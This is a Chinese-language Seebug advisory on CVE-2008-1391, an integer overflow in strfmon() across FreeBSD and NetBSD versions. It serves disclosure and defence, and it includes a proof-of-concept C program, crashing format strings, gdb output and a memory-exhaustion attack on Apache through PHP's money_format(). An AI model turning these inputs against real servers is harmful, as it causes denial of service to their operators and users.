多个BSD平台'strfmon()'函数整数溢出漏洞

2008-03-29T00:00:00
ID SSV:3103
Type seebug
Reporter Root
Modified 2008-03-29T00:00:00

Description

BUGTRAQ ID: 28479 CVE ID:CVE-2008-1391 CNCVE ID:CNCVE-20081391

多个BSD平台'strfmon()'函数处理存在整数溢出,可能以受影响应用程序上下文执行任意代码。失败的尝试可导致拒绝服务。 问题代码类似如下:

include <monetary.h>

ssize_t strfmon(char * restrict s, size_t maxsize, const char * restrict format, ...); - --- 1. /usr/src/lib/libc/stdlib/strfmon.c -整数溢出 主要问题存在于strfmon()函数中,当以如下方法使用这个函数时: - ---example-start--

include <stdio.h>

include <monetary.h>

int main(int argc, char argv[]){ char buff[51]; char bux=buff; int res; res=strfmon(bux, 50, argv[1], "0"); return 0; } - ---example-end--

并编译,可操作如下格式串: cxib# ./pln %99999999999999999999n Segmentation fault (core dumped) 问题如下: cxib# gdb -q pln (no debugging symbols found)...(gdb) r %99999999999999999999n Starting program: /cxib/C/pln %99999999999999999999n (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x2814e0e6 in memmove () from /lib/libc.so.7 (gdb) memmove()会重分配内存。 cxib# gdb -q pln (no debugging symbols found)...(gdb) r %.9999999999n Starting program: /cxib/C/pln %.9999999999n (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x2814f093 in abort () from /lib/libc.so.7 下个例子是: cxib# ./pln %#99999999999999999999n Long execution time. Let's try check this process :


cxib# ps -aux | grep pln cxib 1843 89.1 13.2 140320 119588 p2 R+ 4:29PM 0:09.68 ./pln %#99999999999999999999n cxib# ps -aux | grep pln cxib 1843 94.7 48.4 482336 438236 p2 R+ 4:29PM 1:54.07 ./pln %#99999999999999999999n 1 VSZ=140320 2 VSZ=482336


pln会分配更多的内存,PHP在money_format()函数中使用strfmon(),当我们在Apache中使用mod_php5,我们可以建立如下利用方法,结果如下: - ---apache-child-die--- swap_pager: out of swap space swap_pager_getswapspace(16): failed Mar 15 21:03:23 cxib kernel: pid 1210 (httpd), uid 80, was killed: out of swap space - ---apache-child-die---

NetBSD NetBSD 4.0 FreeBSD FreeBSD 6.0 .x FreeBSD FreeBSD 6.0 -STABLE FreeBSD FreeBSD 6.0 -RELEASE FreeBSD FreeBSD 7.0 BETA4 FreeBSD FreeBSD 7.0 -RELENG FreeBSD FreeBSD 7.0 -PRERELEASE FreeBSD FreeBSD 7.0 FreeBSD FreeBSD 6.0 -RELEASE-p5 可联系供应商获得补丁信息: <a href=http://www.netbsd.org/ target=_blank>http://www.netbsd.org/</a>